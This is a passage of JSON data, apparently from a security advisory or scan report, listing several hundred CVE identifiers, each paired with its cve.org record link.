"name": "CVE-2026-13757",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-13757"
},
{
"name": "CVE-2025-4598",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-4598"
},
{
"name": "CVE-2025-27144",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-27144"
},
{
"name": "CVE-2026-95519",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-95519"
},
{
"name": "CVE-2026-6637",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-6637"
},
{
"name": "CVE-2026-74048",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-74048"
},
{
"name": "CVE-2026-55798",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-55798"
},
{
"name": "CVE-2026-94444",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-94444"
},
{
"name": "CVE-2026-73283",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-73283"
},
{
"name": "CVE-2026-55717",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-55717"
},
{
"name": "CVE-2026-19953",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-19953"
},
{
"name": "CVE-2026-108106",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-108106"
},
{
"name": "CVE-2026-26330",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-26330"
},
{
"name": "CVE-2026-15308",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-15308"
},
{
"name": "CVE-2026-27145",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-27145"
},
{
"name": "CVE-2024-35255",
"url": "https://www.cve.org/CVERecord?id=CVE-2024-35255"
},
{
"name": "CVE-2024-24557",
"url": "https://www.cve.org/CVERecord?id=CVE-2024-24557"
},
{
"name": "CVE-2026-41080",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-41080"
},
{
"name": "CVE-2026-112400",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-112400"
},
{
"name": "CVE-2026-14668",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-14668"
},
{
"name": "CVE-2026-68497",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-68497"
},
{
"name": "CVE-2025-55198",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-55198"
},
{
"name": "CVE-2021-46195",
"url": "https://www.cve.org/CVERecord?id=CVE-2021-46195"
},
{
"name": "CVE-2026-84243",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-84243"
},
{
"name": "CVE-2025-21613",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-21613"
},
{
"name": "CVE-2023-29491",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-29491"
},
{
"name": "CVE-2026-101356",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-101356"
},
{
"name": "CVE-2026-32778",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-32778"
},
{
"name": "CVE-2026-5121",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-5121"
},
{
"name": "CVE-2026-39834",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-39834"
},
{
"name": "CVE-2025-1182",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-1182"
},
{
"name": "CVE-2026-63073",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-63073"
},
{
"name": "CVE-2026-16241",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-16241"
},
{
"name": "CVE-2026-57914",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-57914"
},
{
"name": "CVE-2026-65901",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-65901"
},
{
"name": "CVE-2022-40897",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-40897"
},
{
"name": "CVE-2026-46595",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-46595"
},
{
"name": "CVE-2026-1485",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-1485"
},
{
"name": "CVE-2025-5372",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-5372"
},
{
"name": "CVE-2026-9335",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-9335"
},
{
"name": "CVE-2026-119372",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-119372"
},
{
"name": "CVE-2026-88648",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-88648"
},
{
"name": "CVE-2026-96639",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-96639"
},
{
"name": "CVE-2026-112395",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-112395"
},
{
"name": "CVE-2026-79921",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-79921"
},
{
"name": "CVE-2026-6473",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-6473"
},
{
"name": "CVE-2026-93569",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-93569"
},
{
"name": "CVE-2026-64607",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-64607"
},
{
"name": "CVE-2026-33236",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-33236"
},
{
"name": "CVE-2026-87864",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-87864"
},
{
"name": "CVE-2026-93564",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-93564"
},
{
"name": "CVE-2026-104874",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-104874"
},
{
"name": "CVE-2026-93574",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-93574"
},
{
"name": "CVE-2026-72818",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-72818"
},
{
"name": "CVE-2026-2005",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-2005"
},
{
"name": "CVE-2025-64329",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-64329"
},
{
"name": "CVE-2026-71497",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-71497"
},
{
"name": "CVE-2026-90804",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-90804"
},
{
"name": "CVE-2026-41992",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-41992"
},
{
"name": "CVE-2026-92392",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-92392"
},
{
"name": "CVE-2025-1152",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-1152"
},
{
"name": "CVE-2026-24051",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-24051"
},
{
"name": "CVE-2026-90829",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-90829"
},
{
"name": "CVE-2025-11082",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-11082"
},
{
"name": "CVE-2026-55443",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-55443"
},
{
"name": "CVE-2026-65900",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-65900"
},
{
"name": "CVE-2026-66010",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-66010"
},
{
"name": "CVE-2026-53802",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-53802"
},
{
"name": "CVE-2025-48060",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-48060"
},
{
"name": "CVE-2026-7383",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-7383"
},
{
"name": "CVE-2026-70458",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-70458"
},
{
"name": "CVE-2026-39825",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-39825"
},
{
"name": "CVE-2026-39821",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-39821"
},
{
"name": "CVE-2024-6104",
"url": "https://www.cve.org/CVERecord?id=CVE-2024-6104"
},
{
"name": "CVE-2026-44825",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-44825"
},
{
"name": "CVE-2026-45674",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-45674"
},
{
"name": "CVE-2026-55831",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-55831"
},
{
"name": "CVE-2026-33846",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-33846"
},
{
"name": "CVE-2025-14512",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-14512"
},
{
"name": "CVE-2026-9669",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-9669"
},
{
"name": "CVE-2026-44690",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-44690"
},
{
"name": "CVE-2026-1502",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-1502"
},
{
"name": "CVE-2026-27144",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-27144"
},
{
"name": "CVE-2026-4360",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-4360"
},
{
"name": "CVE-2026-80230",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-80230"
},
{
"name": "CVE-2026-48743",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-48743"
},
{
"name": "CVE-2025-1149",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-1149"
},
{
"name": "CVE-2026-59949",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-59949"
},
{
"name": "CVE-2025-4877",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-4877"
},
{
"name": "CVE-2026-58012",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-58012"
},
{
"name": "CVE-2026-56865",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-56865"
},
{
"name": "CVE-2026-59881",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-59881"
},
{
"name": "CVE-2021-3393",
"url": "https://www.cve.org/CVERecord?id=CVE-2021-3393"
},
{
"name": "CVE-2026-19534",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-19534"
},
{
"name": "CVE-2026-22795",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-22795"
},
{
"name": "CVE-2026-32283",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-32283"
},
{
"name": "CVE-2026-0988",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-0988"
},
{
"name": "CVE-2025-61727",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-61727"
},
{
"name": "CVE-2026-86413",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-86413"
},
{
"name": "CVE-2026-26311",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-26311"
},
{
"name": "CVE-2026-11822",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-11822"
},
{
"name": "CVE-2026-70626",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-70626"
},
{
"name": "CVE-2026-42014",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-42014"
},
{
"name": "CVE-2026-59890",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-59890"
},
{
"name": "CVE-2025-27613",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-27613"
},
{
"name": "CVE-2026-82717",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-82717"
},
{
"name": "CVE-2026-0799",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-0799"
},
{
"name": "CVE-2025-6297",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-6297"
},
{
"name": "CVE-2026-63311",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-63311"
},
{
"name": "CVE-2026-113602",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-113602"
},
{
"name": "CVE-2026-79675",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-79675"
},
{
"name": "CVE-2026-77422",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-77422"
},
{
"name": "CVE-2026-11850",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-11850"
},
{
"name": "CVE-2024-28180",
"url": "https://www.cve.org/CVERecord?id=CVE-2024-28180"
},
{
"name": "CVE-2025-65637",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-65637"
},
{
"name": "CVE-2026-45409",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-45409"
},
{
"name": "CVE-2026-27136",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-27136"
},
{
"name": "CVE-2026-93576",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-93576"
},
{
"name": "CVE-2026-14164",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-14164"
},
{
"name": "CVE-2026-0861",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-0861"
},
{
"name": "CVE-2026-14456",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-14456"
},
{
"name": "CVE-2026-119374",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-119374"
},
{
"name": "CVE-2026-56860",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-56860"
},
{
"name": "CVE-2026-25542",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-25542"
},
{
"name": "CVE-2026-47774",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-47774"
},
{
"name": "CVE-2026-80274",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-80274"
},
{
"name": "CVE-2026-6368",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-6368"
},
{
"name": "CVE-2026-1703",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-1703"
},
{
"name": "CVE-2026-61801",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-61801"
},
{
"name": "CVE-2026-25645",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-25645"
},
{
"name": "CVE-2026-49265",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-49265"
},
{
"name": "CVE-2026-112390",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-112390"
},
{
"name": "CVE-2026-21860",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-21860"
},
{
"name": "CVE-2026-14457",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-14457"
},
{
"name": "CVE-2025-13281",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-13281"
},
{
"name": "CVE-2026-15534",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-15534"
},
{
"name": "CVE-2026-49458",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-49458"
},
{
"name": "CVE-2026-71513",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-71513"
},
{
"name": "CVE-2026-78410",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-78410"
},
{
"name": "CVE-2026-10536",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-10536"
},
{
"name": "CVE-2026-97399",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-97399"
},
{
"name": "CVE-2026-80047",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-80047"
},
{
"name": "CVE-2026-79674",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-79674"
},
{
"name": "CVE-2026-3479",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-3479"
},
{
"name": "CVE-2026-12261",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-12261"
},
{
"name": "CVE-2026-53784",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-53784"
},
{
"name": "CVE-2026-0847",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-0847"
},
{
"name": "CVE-2026-44249",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-44249"
},
{
"name": "CVE-2026-41991",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-41991"
},
{
"name": "CVE-2026-96640",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-96640"
},
{
"name": "CVE-2026-77860",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-77860"
},
{
"name": "CVE-2026-8932",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-8932"
},
{
"name": "CVE-2026-39883",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-39883"
},
{
"name": "CVE-2026-91780",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-91780"
},
{
"name": "CVE-2025-5915",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-5915"
},
{
"name": "CVE-2026-4424",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-4424"
},
{
"name": "CVE-2026-76825",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-76825"
},
{
"name": "CVE-2025-5917",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-5917"
},
{
"name": "CVE-2026-95818",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-95818"
},
{
"name": "CVE-2026-6879",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-6879"
},
{
"name": "CVE-2026-45186",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-45186"
},
{
"name": "CVE-2026-96231",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-96231"
},
{
"name": "CVE-2026-48978",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-48978"
},
{
"name": "CVE-2024-51744",
"url": "https://www.cve.org/CVERecord?id=CVE-2024-51744"
},
{
"name": "CVE-2026-78681",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-78681"
},
{
"name": "CVE-2026-77412",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-77412"
},
{
"name": "CVE-2026-93561",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-93561"
},
{
"name": "CVE-2026-32281",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-32281"
},
{
"name": "CVE-2026-75596",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-75596"
},
{
"name": "CVE-2026-12074",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-12074"
},
{
"name": "CVE-2026-45571",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-45571"
},
{
"name": "CVE-2026-107929",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-107929"
},
{
"name": "CVE-2026-8763",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-8763"
},
{
"name": "CVE-2026-1839",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-1839"
},
{
"name": "CVE-2026-12876",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-12876"
},
{
"name": "CVE-2026-27142",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-27142"
},
{
"name": "CVE-2026-75140",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-75140"
},
{
"name": "CVE-2026-90801",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-90801"
},
{
"name": "CVE-2026-18408",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-18408"
},
{
"name": "CVE-2026-45022",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-45022"
},
{
"name": "CVE-2026-40356",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-40356"
},
{
"name": "CVE-2026-0966",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-0966"
},
{
"name": "CVE-2024-45338",
"url": "https://www.cve.org/CVERecord?id=CVE-2024-45338"
},
{
"name": "CVE-2026-41989",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-41989"
},
{
"name": "CVE-2026-50243",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-50243"
},
{
"name": "CVE-2025-2999",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-2999"
},
{
"name": "CVE-2026-28389",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-28389"
},
{
"name": "CVE-2026-42504",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-42504"
},
{
"name": "CVE-2026-56412",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-56412"
},
{
"name": "CVE-2026-59199",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-59199"
},
{
"name": "CVE-2025-10966",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-10966"
},
{
"name": "CVE-2024-36124",
"url": "https://www.cve.org/CVERecord?id=CVE-2024-36124"
},
{
"name": "CVE-2026-53878",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-53878"
},
{
"name": "CVE-2024-10977",
"url": "https://www.cve.org/CVERecord?id=CVE-2024-10977"
},
{
"name": "CVE-2025-50182",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-50182"
},
{
"name": "CVE-2026-54478",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-54478"
},
{
"name": "CVE-2026-80205",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-80205"
},
{
"name": "CVE-2026-17495",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-17495"
},
{
"name": "CVE-2025-47906",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-47906"
},
{
"name": "CVE-2026-48864",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-48864"
},
{
"name": "CVE-2026-65182",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-65182"
},
{
"name": "CVE-2026-56858",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-56858"
},
{
"name": "CVE-2026-115207",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-115207"
},
{
"name": "CVE-2025-9906",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-9906"
},
{
"name": "CVE-2026-88647",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-88647"
},
{
"name": "CVE-2026-47778",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-47778"
},
{
"name": "CVE-2025-59375",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-59375"
},
{
"name": "CVE-2026-95619",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-95619"
},
{
"name": "CVE-2026-82720",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-82720"
},
{
"name": "CVE-2026-34040",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-34040"
},
{
"name": "CVE-2026-94439",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-94439"
},
{
"name": "CVE-2026-116587",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-116587"
},
{
"name": "CVE-2026-95512",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-95512"
},
{
"name": "CVE-2026-7666",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-7666"
},
{
"name": "CVE-2026-12003",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-12003"
},
{
"name": "CVE-2026-94448",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-94448"
},
{
"name": "CVE-2026-35206",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-35206"
},
{
"name": "CVE-2026-56855",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-56855"
},
{
"name": "CVE-2026-53615",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-53615"
},
{
"name": "CVE-2026-15588",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-15588"
},
{
"name": "CVE-2026-59850",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-59850"
},
{
"name": "CVE-2026-92389",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-92389"
},
{
"name": "CVE-2026-71889",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-71889"
},
{
"name": "CVE-2026-90711",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-90711"
},
{
"name": "CVE-2026-5450",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-5450"
},
{
"name": "CVE-2026-53785",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-53785"
},
{
"name": "CVE-2026-50195",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-50195"
},
{
"name": "CVE-2025-50181",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-50181"
},
{
"name": "CVE-2026-19499",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-19499"
},
{
"name": "CVE-2026-59903",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-59903"
},
{
"name": "CVE-2026-19385",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-19385"
},
{
"name": "CVE-2026-112943",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-112943"
},
{
"name": "CVE-2026-8404",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-8404"
},
{
"name": "CVE-2026-11856",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-11856"
},
{
"name": "CVE-2025-66382",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-66382"
},
{
"name": "CVE-2026-5260",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-5260"
},
{
"name": "CVE-2026-56746",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-56746"
},
{
"name": "CVE-2026-42009",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-42009"
},
{
"name": "CVE-2026-103119",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-103119"
},
{
"name": "CVE-2026-116566",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-116566"
},
{
"name": "CVE-2026-33948",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-33948"
},
{
"name": "CVE-2026-84838",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-84838"
},
{
"name": "CVE-2025-69421",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-69421"
},
{
"name": "CVE-2026-54059",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-54059"
},
{
"name": "CVE-2025-12781",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-12781"
},
{
"name": "CVE-2026-40225",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-40225"
},
{
"name": "CVE-2026-89157",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-89157"
},
{
"name": "CVE-2026-69651",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-69651"
},
{
"name": "CVE-2025-58188",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-58188"
},
{
"name": "CVE-2018-1000021",
"url": "https://www.cve.org/CVERecord?id=CVE-2018-1000021"
},
{
"name": "CVE-2026-93492",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-93492"
},
{
"name": "CVE-2025-1178",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-1178"
},
{
"name": "CVE-2026-77214",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-77214"
},
{
"name": "CVE-2026-34478",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-34478"
},
{
"name": "CVE-2025-8747",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-8747"
},
{
"name": "CVE-2026-107725",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-107725"
},
{
"name": "CVE-2024-40635",
"url": "https://www.cve.org/CVERecord?id=CVE-2024-40635"
},
{
"name": "CVE-2026-53488",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-53488"
},
{
"name": "CVE-2026-44777",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-44777"
},
{
"name": "CVE-2025-4674",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-4674"
},
{
"name": "CVE-2025-30258",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-30258"
},
{
"name": "CVE-2026-6873",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-6873"
},
{
"name": "CVE-2026-93451",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-93451"
},
{
"name": "CVE-2025-1176",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-1176"
},
{
"name": "CVE-2026-50162",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-50162"
},
{
"name": "CVE-2026-56391",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-56391"
},
{
"name": "CVE-2026-57433",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-57433"
},
{
"name": "CVE-2024-56406",
"url": "https://www.cve.org/CVERecord?id=CVE-2024-56406"
},
{
"name": "CVE-2026-77420",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-77420"
},
{
"name": "CVE-2026-4660",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-4660"
},
{
"name": "CVE-2026-93558",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-93558"
},
{
"name": "CVE-2026-81727",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-81727"
},
{
"name": "CVE-2026-111752",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-111752"
},
{
"name": "CVE-2026-39820",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-39820"
},
{
"name": "CVE-2026-55380",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-55380"
},
{
"name": "CVE-2026-34480",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-34480"
},
{
"name": "CVE-2026-105769",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-105769"
},
{
"name": "CVE-2026-34501",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-34501"
},
{
"name": "CVE-2026-56854",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-56854"
},
{
"name": "CVE-2026-84303",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-84303"
},
{
"name": "CVE-2025-5278",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-5278"
},
{
"name": "CVE-2024-56433",
"url": "https://www.cve.org/CVERecord?id=CVE-2024-56433"
},
{
"name": "CVE-2026-48587",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-48587"
},
{
"name": "CVE-2026-73180",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-73180"
},
{
"name": "CVE-2026-87861",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-87861"
},
{
"name": "CVE-2025-48384",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-48384"
},
{
"name": "CVE-2025-49506",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-49506"
},
{
"name": "CVE-2025-47911",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-47911"
},
{
"name": "CVE-2025-5318",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-5318"
},
{
"name": "CVE-2026-39819",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-39819"
},
{
"name": "CVE-2026-34986",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-34986"
},
{
"name": "CVE-2026-55990",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-55990"
},
{
"name": "CVE-2026-112060",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-112060"
},
{
"name": "CVE-2026-92386",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-92386"
},
{
